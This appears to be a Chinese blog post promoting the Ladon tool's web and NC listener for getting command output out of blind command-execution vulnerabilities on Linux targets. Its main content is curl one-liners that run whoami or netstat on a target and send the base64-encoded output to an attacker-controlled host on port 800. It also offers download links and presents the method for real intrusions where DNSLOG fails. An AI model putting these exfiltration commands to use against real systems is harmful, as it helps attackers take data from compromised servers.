很多时候命令回显漏洞由于一些特殊原因,无法构造或不方便构造回显,上回讲到JAVA反序列化漏洞Ladon回显方法。本文针对Linux系统实现命令执行漏洞回显方法,虽说JAVA跨平台但并不代表所有系统都预装有JAVA,实际上.NET一样是跨平台的,前提都要系统安装才可以,那么对于未安装JAVA的机器或非JAVA程序产生的命令执行漏洞,如何实现命令回显,将是本文讲述的重点。JAVA篇:http://k8gege.org/Ladon/web_javarce.html PowerShell篇:http://k8gege.org/p/Ladon_ps1_echo.html
1 | Ladon web 800 |
PS: 建议使用8.3以上版本,以免部分命令回显结果导致Ladon崩溃
1 | /ip.txt or ip.jpg Get Target WanIP |
由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。
http://192.168.1.43:800/getstr/cve2020
http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=
1 | curl http://192.168.250.21:800/getstr/`whoami` |
1 | curl http://192.168.250.21:800/deb64/`whoami|base64` |
1 | curl http://192.168.250.21:800/deb64/`netstat -an|base64|tr '\n' '-'` |
PS:Base64回显会多出-符号,导致8.2无法解密,Ladon 8.3已完美兼容
Ladon 8.3的Web或Gui版的NC均可回显,无论是否BASE64加密,Ladon均可完美支持
1 | root@kali:~/Desktop |
1 | root@kali:~/Desktop |
cancel明文回显结果在Brequesting-username和”my-jobs之中
本文主要使用Ladon的WEB与NC实现回显,实战中很多机器可能并不能DNS解析,意味着DNSLOG方法无效,但是Ladon可以完美解决DNS不解析导致DNSLOG失效的问题。
https://github.com/k8gege/LadonGo/releases
历史版本: https://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
8.3版本:K8小密圈